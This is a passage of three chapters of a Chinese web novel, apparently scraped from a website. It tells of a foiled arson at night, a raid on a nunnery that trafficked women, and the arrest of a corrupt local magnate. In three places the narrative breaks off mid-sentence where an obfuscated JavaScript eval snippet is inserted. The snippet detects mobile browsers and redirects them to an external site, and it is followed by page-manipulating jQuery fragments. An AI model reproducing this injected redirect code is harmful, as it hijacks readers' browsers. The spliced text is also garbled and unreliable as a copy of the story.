“那就动手。”她说,“子时之前,把火点了。天亮之后,你我两清。” 她说完,挣开崔娘子的手,转身拉开房门,消失在夜色中。 门没有关,夜风灌进来,吹得屋里的帘子猎猎作响。 崔娘子跪在地上,手里还攥着那个布包。火油的腥气直冲鼻腔,让她几欲作呕。 她不知跪了多久,终于慢慢爬起来,踉跄着走到里屋门口。丫鬟茴香靠坐在墙角睡的正香。 女儿侧躺着,呼吸均匀。月光从窗缝透进来,照在她稚嫩的脸上。那眉眼,像极了她自己。 崔娘子看着那张脸,眼泪无声地流。 她想起十年前,自己也是这般年纪,被卖进翠玉楼。那些日子,那些噩梦,她这辈子都不愿再想起。她发誓,一定要让自己的女儿巧娘远离那些肮脏事,让她平平安安长大,嫁个好人家,过寻常日子。 可如今…… 她闭上眼,泪水顺着脸颊滑落。 子时。 她看了一眼桌上的更漏。还有半个时辰。 半个时辰。 崔娘子转身,走进自己屋里。崔旺今日不在,去码头办事了,要明日才回。这院子里,只有她和巧娘两个人。还有一个丫鬟茴香。 她从柜中翻出一件深色衣裳,换上。又找了块布,蒙住脸。最后,她拿起那个布包,掂了掂。 火油的腥气,像是催命的符咒。 她推开门,走进夜色。 柳枝巷深处,小院里一片寂静。 许娇娇躺在榻上,却睡不着。 从归平县回来后,她已经歇了三日。身上的伤好了,心里的惊也渐渐平了。静尘静心日日陪着她,变着法子做好吃的,刘寡妇隔三差五送些小菜来,连旺财都比从前黏人。 一切都好。 可她就是睡不着。 今夜尤其奇怪。明明累得很,躺下却怎么也闭不上眼。心里像是有什么东西堵着,闷闷的,慌慌的。 她翻了个身,透过窗纸看着外面的月光。月色很好,银辉洒了一地,映得窗前的月季都泛着光。 “怎么了?”身边传来静尘轻声的问。她今夜怕许娇娇一个人害怕,过来陪她睡。 “没事。”许娇娇轻声说,“就是睡不着。” 静尘沉默片刻,忽然道:“我也是。总觉得……心里不踏实。” 许娇娇转头看她。月光下,静尘的眉头微微蹙着,眼中带着一丝说不清的忧虑。 “你也感觉到了?” 静尘点了点头,又摇了摇头:“说不上来。就是……心慌。” 两人沉默着,谁也没再说话。 窗外,旺财忽然叫了一声。那叫声短促,像是被什么惊着了,随即又安静下来。 许娇娇坐起身,侧耳倾听。外面静悄悄的,只有风吹树叶的沙沙声。 “旺财?”她轻声唤道。 没有回应。 静尘也坐了起来,两人对视一眼,都在对方眼中看到了不安。 许娇娇披衣下床,走到门边,轻轻拉开一条缝。 院子里空无一人。月光洒满青石地面,那丛月季开得正好,暗香浮动。旺财趴在窝里,一动不动,像是睡着了。 她正要关门,忽然看见—— 院墙外的暗处,有什么东西闪了一下。 只是一瞬间,快得像错觉。可她看见了。 许娇娇的心猛地提了起来。她没有出声,只静静盯着那个方向。月光下,院墙的阴影里,似乎有什么东西在动。 是一个人。 一个穿着深色衣裳的人,正贴着墙根,慢慢往院门的方向移动。 许娇娇的呼吸凝住了。 她悄悄掩上门,没有发出一点声音。转身,她快步走回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376406|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榻边,从枕下摸出那把药刀。从归平县回来后,她就一直放在身边。 静尘看见她的动作,脸色也变了。她没有出声,只无声地下了床,跟到许娇娇身边。 两人贴着门,屏住呼吸,听着外面的动静。 夜风呜咽,树叶沙沙。除此之外,什么声音都没有。 院墙外,崔娘子贴着墙根站着,浑身发抖。 那个布包就在她怀里,沉甸甸的,像一块烧红的烙铁。她只需淋上火油,划一根火柴,一切就结束了。 可她的腿像灌了铅,一步都迈不动。 她看着那扇门,看着那堵墙,看着墙里透出来的微弱灯光。 那里面住着什么人?一个年轻的女医,两个尼姑,还有一条狗。那女医她见过,和气,温和,对她女儿都客客气气的。刘寡妇说,那是好人,救过许多人。 好人。 水仙姑的话又在她耳边响起:“你跟我说好人?你放火烧死二十三个人的时候,怎么没想过他们是不是好人?” 是啊。她有什么资格说好人?她手上沾着血,这辈子都洗不干净。 再多沾几个,又有什么区别? 崔娘子闭上眼,手颤抖着,从怀里取出那个布包。 火油的腥气直冲鼻腔。她慢慢揭开盖子,那液体的晃动声,在寂静的夜里格外清晰。 一步。再一步。 她走到院门前。门是木头的,老旧,一碰就吱呀作响。她不敢碰门,只蹲下身,将火油往门缝里倒。 液体渗进去,发出轻微的滋滋声。 她倒完一包,又从怀里摸出第二包——水仙姑给了她两包,说是够用了。 继续倒。 门缝,墙根,窗棂。她像梦游一样,机械地重复着动作。 最后一包倒完,她站起身,从袖中摸出火折子。 火折子很小,握在掌心,凉得像冰。 她看着那扇门,看着那些被火油浸透的木缝,只要划一下,只要一下,火就会烧起来。烧掉这扇门,烧掉这个院子,烧掉里面所有的人。 就像十年前那样。 十年前。 她忽然想起那晚,翠玉楼的火光冲天。她站在后巷,看着那些尖叫着往外跑的人,看着那些被浓烟吞没的窗口……那些人,都死了。 二十三条人命。 她的手上,沾着他们的血。 崔娘子的手抖得更厉害了。火折子在掌心滚来滚去,却怎么也划不下去。 为什么? 她问自己。为什么下不去手? 因为那些人无辜?因为许娇杏是好人?因为她女儿也在隔壁,火一旦烧起来,会不会蔓延过去? 还是因为—— 她已经不想再杀人了。 崔娘子猛地睁开眼。月光下,她的眼中满是泪水。 她做不到。 真的做不到。 她把火折子攥紧,转身要走—— 身后忽然传来一声轻响。 她猛地回头。月光下,一个人影正站在巷口。那人穿着一身黑衣,脸上带着诡异的笑,正是水仙姑。 “怎么?”水仙姑慢慢走近,“下不去手?” 崔娘子的腿软了。她想跑,可一步都迈不动。 水仙姑走到她面前,低头看着地上那些火油的痕迹,又看看她手里的火折子,笑了。 “好,你下不去手,我来。” 她伸手,从崔娘子手中夺过火折子。崔娘子想抢回来,却被她一把推开,踉跄着跌倒在地。 水仙姑拿着火折子,走向院门。 “不……”崔娘子挣扎着爬起来,想追上去,却被水仙姑回头一个眼神钉在原地。 那眼神,冷得像冰,带着杀气。 “你再动一步,我先杀了你,再杀你女儿。” 崔娘子僵住了。 水仙姑转过身,对着那扇门,缓缓举起火折子—— 就在这时,巷口忽然传来一阵急促的脚步声。 “站住!” 几道黑影从暗处冲了出来,为首那人,正是长风。 水仙姑脸色大变。她来不及点火,转身就跑。 可她只跑出几步,就被两个青衣汉子拦住了去路。 前有拦路,后有追兵。 水仙姑站在巷子中央,月光照着她惨白的脸。她看着那些围上来的人,忽然笑了。那笑声在寂静的夜里格外刺耳,像是绝望的嘶鸣。 长风走到她面前,冷冷道:“水仙姑,你的事发了。跟我们走一趟吧。” 水仙姑没有说话。她只是笑着,笑着,笑到最后,眼泪都流了出来。 崔娘子瘫坐在墙角,浑身发抖。她看着这一切,看着水仙姑被按住,看着长风带人检查那些火油的痕迹,看着那扇险些被点燃的院门…… 门忽然开了。 许娇娇站在门内,披着外衣,手里握着那把药刀。她看着外面的混乱,看着瘫坐在地上的崔娘子,看着被押住的水仙姑,眼中闪过复杂的情绪。 长风快步走过来,低声道:“许娘子,没事了。这贼尼姑想放火,被咱们当场擒获。” 许娇娇点了点头,目光却落在崔娘子身上。 崔娘子低着头,不敢看她。 许娇娇沉默片刻,走到她面前,蹲下身。 “为什么?”她问。 问她为什么没有点火,还是问她为什么要点火? 崔娘子眼神有瞬间的茫然,接着眼中浮上惊怕、愧疚、后悔、绝望与一丝解脱的神情来。 她的眼泪夺眶而出,捂着脸,嚎啕大哭。 夜风穿巷而过,吹散了火油的腥气。月光洒在这一地狼藉上,照着那个被押住的水仙姑,照着那个痛哭的崔娘子,也照着站在门内神色复杂的许娇娇。 79. 第79章 查抄水月庵 水仙姑被押走后,柳枝巷重归寂静。 许娇娇站在院门口,看着长风指挥手下清理现场。火油的气味还未散尽,混着夜风的清冷,呛得人喉头发紧。崔娘子依旧瘫坐在墙角,被两个青衣汉子看守着,低着头,肩膀不住地颤抖。 隔壁崔家的院门忽然被拉开了一道缝。 一个小小的脑袋探了出来,是崔娘子的女儿巧娘。她一双眼睛又圆又亮,此刻却满是惊恐。她身后还站着穿青布衣裙丫鬟茴香,正是崔家唯一的下人。 “阿娘——”巧娘看见瘫坐在地上的崔娘子,惊呼一声,就要冲出来。 茴香一把拽住她,将她护在身后,自己却也在发抖。她看着院门外那些持刀的汉子,看着被按在地上的崔娘子,嘴唇哆嗦着,脸色惨白如纸。 “别、别出来……”崔娘子听见女儿的声音,猛地抬起头,声音沙哑得几乎听不清,“巧娘听话……回屋去……” 巧娘哪里肯听,挣扎着要往这边跑。茴香死死拽着她,急得眼泪都快下来了:“姑娘,姑娘不能出去……” 一个青衣汉子转头看了她们一眼,往前迈了一步。茴香吓得往后一缩,却还是把巧娘护在身后,颤声道:“你、你们要干什么……我家夫人犯了什么事……” 那汉子没有理会她,只守在原地,面无表情。 许娇娇看着这一幕,心头也不是滋味。 她想起这些日子,偶尔在巷子里遇见巧娘。那孩子总是怯生生地跟在她娘身后,见了人就低头,连招呼都不敢打。崔娘子把她护得紧,从不让她一个人出门,也从不让她和巷子里的孩子们玩。那时候许娇娇只当是寻常人家的谨慎,如今想来,那分明是一个母亲时刻提防着仇家的惶恐。 “茴香,”许娇娇开口,声音有些涩,“把巧娘带进去吧。夜里风凉,别冻着。” 茴香愣了一下,看向她的目光里满是复杂。有感激,有戒备,还有一丝说不清的惧怕。她张了张嘴,想说什么,最终只点了点头,拉着巧娘往屋里退。 “阿娘——”巧娘还在挣扎,声音里带了哭腔,“阿娘你什么时候回来……” 崔娘子低着头,没有回答。她不敢看女儿。她怕看一眼,就再也撑不住了。 院门被茴香从里面关上,隔绝了那巧娘的哭声。 许娇娇站在原地,夜风吹起她的衣角,凉意透进骨子里。她看着那个方向,看着那扇紧闭的门,心里像是塞了一团乱麻。“许娘子,”长风走过来,低声道,“今夜让您受惊了。这罗氏……”他瞥了崔娘子一眼,“大人吩咐,先带回行辕审问。您早些歇息。” 许娇娇点了点头,却没有立刻转身。她看着崔娘子,月光下那张脸上满是泪痕,狼狈不堪。她想起这些日子,这个妇人每日出入巷口时的温顺模样,想起她偶尔打招呼时那低眉顺眼的模样,想起刘寡妇说她看着和善的话。 和善。 许娇娇心中涌起一股说不清的复杂情绪。这世上的和善,有多少是真的,又有多少是装的? 她若有似无的轻叹一声,转身回了院子。 静尘和静心跟在她身后,三人进屋,闩上院门。旺财从窝里爬起来,摇着尾巴凑过来,用脑袋蹭她的腿。许娇娇弯腰摸了摸它的头,那皮毛温热,让她心里稍微安定了些。 “都睡去吧。”她轻声道,“没事了。” 翌日清早,天色刚蒙蒙亮,长风又来了。 “许娘子,郎主让小的来接您。”他站在院门口,脸上的神色比昨夜轻松了些,“水仙姑那边,审出些东西了。” 许娇娇点头,和静尘静心交代了几句,就换了身干净的衣裳,随他出门。 马车一路往北,却不是去钦差行辕的方向。许娇娇掀开车帘看了一眼,认出这是去归平县的路。 “长风大哥,咱们这是去归平吗?”许娇娇问了声。 长风回过头,压低声音道:“水月庵。郎主今早带人过去了,让小的接您去认认地方。” 认认地方。 许娇娇没有再多问。 马车走得快,不到一个时辰便到了归平县界。沿着那条她再熟悉不过的山路往上,远远便看见了水月庵的青瓦白墙。 那庵堂建在半山腰,四周竹林环绕,往日看着清幽雅致,此刻却被一队队青衣劲装的侍卫围得水泄不通。庵门大敞,隐约能看见里面人影攒动,时不时传出女子的哭喊声和呵斥声。 马车在庵门外停下。许娇娇下车时,正撞见几个侍卫押着几个灰袍尼姑出来。那些尼姑她大多数都不认识,应该都是水月庵里的人,她们往日跟着水仙姑作威作福,如今一个个垂头丧气,面如死灰。 “许娘子。”长风引着她们往里走,“郎主吩咐,让您先去后院看看。” 后院。 许娇娇脚步微顿。那里,是水月庵最隐秘的地方。 穿过前殿,绕过一道月洞门,便是后院。这里比前院安静得多,只有几个侍卫守在院中,神色肃穆。院角那棵老歪脖子枣树依旧立在那里,光秃秃的枝桠伸向灰蒙蒙的天空,树下新翻的泥土还带着潮湿的气息。 裴宴就站在那棵枣树下,玄色氅衣衬得他整个人清冷如霜。他身边还站着几个人。归平县令周景明、都头刘大勇,还有两个穿着官袍的生面孔,大约是归平县衙的官员。 听见脚步声,裴宴回过头。目光落在许娇娇身上时,那冷峻的眉眼微微柔和了些。 “来了。”他说,声音不高,却足够清晰。 许娇娇上前敛衽行礼。目光却不由自主地落在那堆新土上。那里,隐隐能看见一些人的骨头。 许娇娇心猛地一缩。 “了尘师父。”裴宴的声音从身侧传来,“八年前被水仙姑毒死,埋在此处。静尘的证词,和昨夜水仙姑的招供对上了。” 许娇娇闭上眼,深吸一口气。 了尘。那个在水月庵里唯一真正慈悲的师父。静尘日日念叨的恩师。她从未见过,却从静尘口中听过无数遍。如何收留她,如何教她识字读经,如何在发现水仙姑的恶行后试图报官,又如何被水仙姑毒害。 如今,真相终于大白。 许娇娇双手合十心中暗暗祷告:了尘师父您可以瞑目了,你的大仇马上就可以得报。 裴宴没有说话,只静静站在她身旁。 片刻后,一个侍卫快步走来,躬身禀报:“天使,后院地窖找到了。” 许娇娇心头一震。地窖。 那是静心曾经无意中窥见的地方,是那些被拐卖的女子被关押的地方。她曾听静心描述过——阴暗潮湿,恶臭难闻,里面关押过女子,最大的不过二十,最小的才十二三岁。 裴宴点了点头,迈步往后院深处走去。走了几步,他回头看了许娇娇一眼。 那一眼,让她跟了上去。 许娇娇轻轻点头跟了上去。 地窖的入口在后院一间偏僻的柴房里,被一堆烂柴禾遮掩着。侍卫们已经清理干净,露出一扇半朽的木门。门一推开,一股混合着霉味、尿骚味和绝望气息的恶臭扑面而来,熏得人几乎窒息。 许娇娇忍住那股恶心,跟着裴宴走下台阶。 地窖不大,约莫两丈见方,四壁潮湿,长满青苔。墙角堆着发霉的稻草,上面蜷缩着几个瘦骨嶙峋的身影。听见脚步声,她们瑟瑟发抖,缩成一团,不敢抬头。 借着侍卫手中的火把,许娇娇看清了她们的脸。年轻,却都憔悴得不成人形。有的脸上带着伤,有的眼神空洞,有的嘴里发出含混不清的呜咽声。 裴宴站在地窖中央,沉默地看着这一切。火光在他脸上跳跃,映出那双眼睛里翻涌的暗流。 许娇娇走到那几个女子面前,蹲下身,轻声道:“别怕,我们是来救你们的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377183|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那几个女子抬起头,用惊恐而茫然的眼神看着她。那眼神,像被猎人追到绝路的兔子,不敢信,不敢动,只敢缩在那里瑟瑟发抖。 许娇娇的心像被人狠狠攥了一把。 “一共多少人?”裴宴的声音从身后传来。 侍卫答道:“回大人,目前清点出九人。还有几个……”他顿了顿,声音低了下去,“已经没了。” 没了。 这两个字轻飘飘的,却重得让人喘不过气。 良久,裴宴才开口:“把人带出去,好生安置。找大夫来诊治,给她们换衣裳,喂饱饭。问清姓名籍贯,设法送她们回家。若无处可去的……” 可送去城西养济院。 走出地窖时,阳光从云层缝隙洒下来,照得人眼睛发痛。许娇娇站在院子里,深深吸了一口新鲜空气,才觉得那股窒息感慢慢散去。 身后,那些女子被一个一个扶了出来。她们站在阳光下,有的哭,有的抖,有的只是呆呆地望着天,像是第一次看见这个世界。 周景明走过来,一脸愧色向裴宴拱手道:帅使,前殿那边也搜出不少东西。账本、信件、还有……”他顿了顿,压低声音,“一些不该出现在尼姑庵里的东西。” 裴宴眸光微冷:“带路。” 一行人往前殿走去。路过那棵老歪脖子枣树时,许娇娇忍不住又看了一眼。树下,了尘的遗骨已经被小心收敛,装进了一个白布包裹。旁边,有人正在烧纸钱,青烟袅袅,随风飘散。 她双手合十,又默默行了一礼。 前殿里,几个侍卫正将搜出来的东西一一登记造册。账本摞了厚厚一沓,信件用木匣装着,还有几个打开的箱笼,里面绫罗绸缎、金银首饰,堆得满满当当。 许娇娇目光落在那几个箱笼上。那些东西,哪一样都不该出现在一个清修的尼姑庵里。 裴宴拿起一本账册,翻了几页,眉头越皱越紧。 “景和十六年春,送苏州女子三人,得银一百二十两。景和十六年夏,送杭州女子四人,得银一百八十两。景和十六年秋,送……”他一页页翻下去,声音越来越冷,“每一条都记得清清楚楚。时间、人数、所得银两、交接之人。水仙姑倒是个细心人。” 周景明在一旁擦着冷汗。这些账册,记载的可不是简单的买卖。那些女子的去向,交接之人,背后牵扯的势力……每一条,都可能掀翻一船人。 许娇娇站在一旁,没有凑近去看。她知道,这些东西,已经不是她能碰的了。 日头渐渐升高,查抄还在继续。前殿后院,厢房禅房,每一处都被翻了个底朝天。又搜出几箱金银细软,几捆往来信件和账册。 “许娘子。” 长风不知何时走到她身边,低声道:“郎主让小的送您回去。这里的事,差不多了。” 许娇娇点了点头,最后看了一眼这座庵堂。青瓦白墙,竹林环绕,从外面看依旧清幽雅致。可她知道,这清幽之下,埋着多少白骨,藏着多少罪恶。 马车沿着山路缓缓下行。透过车帘,她看见那些侍卫还在忙碌,看见周景明站在庵门口送别裴宴,看见那面写着“水月庵”的匾额被摘下,摔在地上,断成两截。 她收回目光,靠在车壁上,长长吐出一口气。 了尘师父的仇,报了。那些被拐卖的女子,得救了。水仙姑的罪恶,终于被掀在光天化日之下。 可她心里,却没有想象中的轻松。 因为还有太多事没有结束。 王大官人,还在归平县逍遥。崔琰,还在发运使的位置上坐着。那个翠玉楼大火背后的“宋兄”,还没有落网。而那些被贩卖的女子,有多少已经无法追回,有多少早已香消玉殒? 许娇娇闭上眼,不愿再想。 马车驶出山区,上了官道。车轮滚滚向前,离那座庵堂越来越远。 80. 第80章 双线并行 王大官人的宅邸坐落在县城东街,占地三进,青砖黛瓦,门楼高耸,一对石狮蹲在门外,睥睨着过往行人。平日里这个时候,府里正是热闹的时候。后院的戏台上锣鼓喧天,前厅的酒席上觥筹交错,门房里等着求见的人排成一溜,手里提着各色礼盒,脸上堆着谄媚的笑。 可今夜,宅邸里却安静得有些反常。 书房里,王兆贵坐在太师椅上,手里捏着一封信,眉头紧锁。 信是下午送来的,送信的人他不认识,只说受人之托。信上只有短短几行字,“水月庵出事,速做准备。” 水月庵。 这三个字让王兆贵心里一阵发紧。他派人去打听,可派出去的人到现在还没回来。他又让人去县衙那边探消息,可县衙那边也三缄其口,什么都不肯说。 “他娘的。”王兆贵骂了一句,将信拍在桌上。 他在归平县横行惯了,什么时候受过这种窝囊气?往常有什么事,县衙那边早就有人通风报信了。可这回,那些平日里拿了他好处的人,一个个都像锯了嘴的葫芦,一个字都问不出来。 更让他不安的是,那个姓裴的钦差,自从把那女医带走后,就再没有动静。没有抓人,没有审案,没有下文。可越是没动静,他越觉得不对劲。 “老爷。”一个管事模样的中年人探头进来,脸上带着谄媚的笑,“晚膳备好了,您是在书房用,还是去后头……” “滚!”王兆贵一挥手,那管事吓得缩了缩脖子,连滚带爬地跑了。 王兆贵站起身,在书房里踱来踱去。他想起那个女医被抓那日,自己还特意让人去县衙门口看了热闹。那时候他以为,这事就算完了。那女医得罪了水仙姑,水仙姑是他的人,他自然要替她出头。一个无亲无故的野郎中,还能翻出什么浪花来? 可如今,水仙姑那边先出了事。 “难道……”他忽然停下脚步,一个念头闪过脑海。难道那姓裴的钦差,真的敢动他? 不可能。 王兆贵摇了摇头,自我安慰地想。他是什么人?他是归平县的王大官人,产业遍布全县,和县尊称兄道弟。他弟弟王兆仁是菰城司户参军,那是实打实的朝廷命官。他干爹崔琰崔使相,更是手掌江南漕运的大人物。 那姓裴的钦差再厉害,也不过是个过路的。他敢动自己?他凭什么? 想到这里,王兆贵心里又安定了些。他重新坐回太师椅上,端起茶盏抿了一口。茶已经凉了,他皱了皱眉,正要唤人来换,忽然听见外面传来一阵急促的脚步声。 “老爷!老爷!”方才那个管事又跑了进来,这回脸上没了谄媚,只有惊恐,“不、不好了!外头来了一队人,穿着公服,拿着刀,把府门堵了!” 王兆贵腾地站起来,茶盏“啪”一声摔在地上,碎成几瓣。 “什么人?” “不、不知道!为首那人说……说是钦差的人!” 钦差。 这两个字像一记闷雷,砸在王兆贵心头。他愣了片刻,随即猛地冲向书房后门。那里有一条暗道,直通后院,是他早就备下的退路。 可他还来不及推开那扇门,前院已经传来一阵喧哗。 “砰——” 大门被撞开的声音,伴随着女人的尖叫声、丫鬟的哭喊声、家丁的呵斥声,混成一片。王兆贵僵在原地,手还搭在门闩上,却怎么也推不开那扇门。 “王大官人,别来无恙啊。” 一个年轻男子的声音从身后传来。王兆贵僵硬地转过身,看见一个穿着玄色劲装的年轻人正站在书房门口,身后跟着十几个同样打扮的汉子,腰间都挎着刀。 长风管事。 王兆贵认得他。那日在县衙门口,就是这个人把那闹事的管事押进去的。他是钦差的人。 “你、你们想干什么?”王兆贵强撑着镇定,声音却止不住地发抖,“私闯民宅,还有没有王法了?” “王法?”长风笑了,那笑容里带着毫不掩饰的嘲讽,“王大官人,你跟咱们谈王法?” 他一挥手,身后的侍卫鱼贯而入,将书房搜了个底朝天。王兆贵想拦,却被两个侍卫按住肩膀,动弹不得。 “你们要干什么?放开我!我是王兆贵!我弟弟是菰城司户参军!我干爹是崔琰崔使相!你们敢动我?” 他的声音越来越尖厉,像被踩了尾巴的猫。可那些侍卫充耳不闻,只顾翻箱倒柜。 书房外,整个宅邸已经乱成一锅粥。 后院里,十七八个打扮得花枝招展的小妾们挤成一团,有的哭,有的叫,有的抱着首饰匣子不肯撒手。几个通房丫头缩在墙角,瑟瑟发抖。丫鬟婆子们四处乱窜,被侍卫们一个个拦住。 可在这片混乱中,有一个人却安静得反常。 范氏。 王大官人的正妻,此刻正站在正房的廊下,冷冷地看着这一切。 她穿着一身半旧的酱色褙子,头发梳得一丝不苟,脸上没有表情。那些小妾们的哭喊声、侍卫们的呵斥声,仿佛都跟她没有关系。她就那么站着,看着那些人冲进后院,看着那些箱笼被打开,看着那些金银细软被一箱箱抬出去。 一个侍卫走过来,见她站着不动,愣了愣,随即道:“这位娘子,请暂时回避,我们要搜查。” 范氏看了他一眼,忽然笑了。 那笑容很诡异,却让那侍卫心里莫名一寒。 “搜吧。”她说,声音平静得像在说今天的天气,“我知道东西藏在哪里。我带你们去。” 侍卫愣住了。 范氏已经转身,往正房走去。走了几步,她回头看了那侍卫一眼:“怎么?不来?” 侍卫连忙跟了上去。 正房里,范氏走到床边,在床头的雕花板上按了几下。只听“咔哒”一声,床板弹开,露出一个暗格。 暗格里,整整齐齐码着几摞账本,还有一沓用油纸包着的信件。 “这些,”范氏指着那些东西,“是他这些年所有见不得人的账目。买卖人口、贿赂官员、私贩私盐,都记在这里。那些信,是他和崔琰、王兆仁来往的密信。” 侍卫瞪大了眼,一时不知该说什么。 范氏没有理会他的震惊,又从袖中摸出一把钥匙,递给他:“后院的柴房里还有一口井,井壁上有个暗洞,里面藏着这些年他搜刮来的金银。钥匙在这儿。” 侍卫接过钥匙,手都有些发抖。他做了这么多年公差,还从没见过这样的正妻。亲手把丈夫的罪证交出来,亲手把丈夫的藏宝地点指出来。 “娘子……”他忍不住问,“你这是……” 范氏没有回答。她转身走出正房,重新站回廊下,看着那些被押着往前院去的妾室们,看着那些被抬出去的箱笼,看着那些惊慌失措的下人。 她的脸上,始终没有表情。 直到前院传来一阵喧哗。那是王兆贵被押出来时,挣扎着喊叫的声音。 范氏的瞳孔猛地收缩了一下。 她迈步,一步一步往前院走去。 前院里,王兆贵被两个侍卫押着,还在拼命挣扎。他的衣袍乱了,头发散了,脸上不知在哪里蹭了一道灰,狼狈不堪。可他嘴里还在喊:“你们等着!我干爹不会放过你们的!我兄弟不会放过你们的!” “干爹?兄弟?”一个冷冷的声音从人群外传来。 王兆贵抬起头,看见范氏正穿过人群,一步一步向他走来。 她走得很慢,每一步都很稳。月光照在她脸上,那张向来冷淡清瘦的脸上,此刻竟带着一种奇异的神情,像是恨,又像是快意,还带着一丝让人看不懂的疯狂。 “你……”王兆贵瞪着她,“你这个贱人!是你?是你把那些人引进来的?” 范氏没有回答。她走到他面前,停下脚步,就那么看着他。 月光下,两人对峙着。一个被押着,狼狈不堪;一个站着,面色平静。 “王兆贵,”范氏终于开口,声音不高,却字字清晰,“你还记得辉哥儿吗?” 辉哥儿。 这两个字像一盆冰水,浇在王兆贵头上。他愣住,脸上所有的表情都僵住了。 范氏看着他的反应,忽然笑了。那笑声很轻,很冷,像冬夜里刮过的风。 “你不记得了,对吧?”她说,“你儿子那么多,庶出的、外头养的,少说也有十几个。辉哥排行第三,他是嫡子,是我生的嫡子。你当然不记得了。” 王兆贵的嘴唇动了动,想说什么,却什么都说不出来。 “他七岁那年,”范氏继续说,声音越来越冷,“你从外头带回来一个女子,说是新纳的妾。那女子不安分,在府里兴风作浪,我教训了她几句。你为了给她出气,让人把辉哥儿关进柴房,三天三夜不给吃不给喝。” 她的声音开始发抖,却还在继续说:“辉哥儿本来身子就弱,三天后出来,人就烧糊涂了。你请过大夫吗?你问过一句吗?你没有。你忙着哄那个贱人,忙着跟你的狐朋狗友吃酒,忙着你的生意买卖。” “辉哥儿烧了三天三夜,我一个人守着他。你来看过一眼吗?没有。他死的那天夜里,你还在后院喝酒听戏。我让人去叫你,你回了一句——‘死了就死了,有什么大惊小怪的’。” 范氏说到这里,声音已经哽咽,可她没有哭。她只是死死盯着王兆贵,那双眼睛里燃烧着八年的恨意。 “死了就死了!”她重复着这两个字,忽然笑了,“你儿子,你亲生的儿子,死了就死了。那你呢?你算什么东西?你不过是个泥腿子出身,靠着你弟弟和那个阉人爬上来的暴发户,你为什么不去死?” 王兆贵的脸涨得通红,他想骂回去,可那两个字堵在喉咙里,怎么也出不来。 “这八年,”范氏说,“我日日夜夜都在想,什么时候能看到你遭报应。我求过神,拜过佛,可老天爷不开眼,你反而越过越风光。我以为这辈子都等不到了。” 她转过身,看向那些侍卫,看向那些被抬出去的账本和信件,看向被押在一旁的那些小妾,最后又转回来,看着王兆贵。 “没想到,老天爷还是开了眼。” 她忽然仰起头,对着夜空,发出一声长啸—— “辉哥儿!我的儿!你的大仇得报了!” 那声音凄厉,像是把八年的恨都喊了出来。在场的人都被这一声震住了,连那些哭喊的小妾都停了声,愣愣地看着她。 王兆贵的脸涨成猪肝色,他挣扎着要扑上去,却被两个侍卫死死按住。 “贱人!”他破口大骂,“你这个贱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381621|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人!吃里扒外的东西!我养了你这么多年,你竟然害我!” “养我?”范氏低头看着他,忽然笑了,那笑容里满是嘲讽,“王兆贵,你什么时候养过我?那些年你赚的钱,都花在你那些小妾身上了。我吃的穿的,都是我娘家陪嫁的。你给过我什么?除了一个‘正妻’的空名,你给过我什么?” 王兆贵被堵得说不出话来。 范氏忽然动了。 她冲上去,对着王兆贵就是一顿拳打脚踢。那拳头毫无章法,却一下比一下重,一下比一下狠。两个侍卫想拦,却被长风一个眼神止住了。 “你打死我儿子!你害死我儿子!”范氏边打边骂,眼泪终于流了下来,“八年了!我等了八年!今天终于等到了!” 王兆贵被打得东倒西歪,脸上身上都是伤,狼狈不堪。他想躲,却被两个侍卫按住动弹不得。想骂,却被范氏雨点般的拳头打得说不出话来。 不知打了多久,范氏终于停了下来。她喘着粗气,站在王兆贵面前,泪流满面。 长风走上前,低声道:“这位娘子,差不多了。” 范氏看了他一眼,点了点头。她最后看着王兆贵,那眼神复杂极了。有恨,有快意,还有一丝说不清的悲凉。 “王兆贵,”她轻声道,“你会下地狱的。” 说完,她转身,一步步走回后院。月光照着她的背影,那背影挺直,却又显得格外孤单。 王兆贵瘫软在地上,浑身发抖。 长风一挥手:“带走。” 菰城城北,王兆仁的私宅。 赵斌带着人赶到时,宅门紧闭,里面一片漆黑。他一脚踹开门,带人冲了进去。 “搜!” 侍卫们四散开来,一间间搜查。赵斌直奔书房。那是王兆仁平日理事的地方,也是最有可能藏着秘密的地方。 书房的门虚掩着。赵斌推开门,一股焦糊味扑面而来。 不好! 他冲进去,看见王兆仁正蹲在火盆前,疯狂地往里面扔着一沓沓信件。火苗蹿得老高,映得他脸上明明灭灭。 “住手!” 赵斌一脚踹过去,王兆仁被踹翻在地,火盆也被踢翻,信件散落一地。赵斌连忙扑上去,用手将那些还没烧完的信件抢出来。 火星溅在他手上,烫出几个水泡,他浑然不觉,只顾着抢救那些证据。 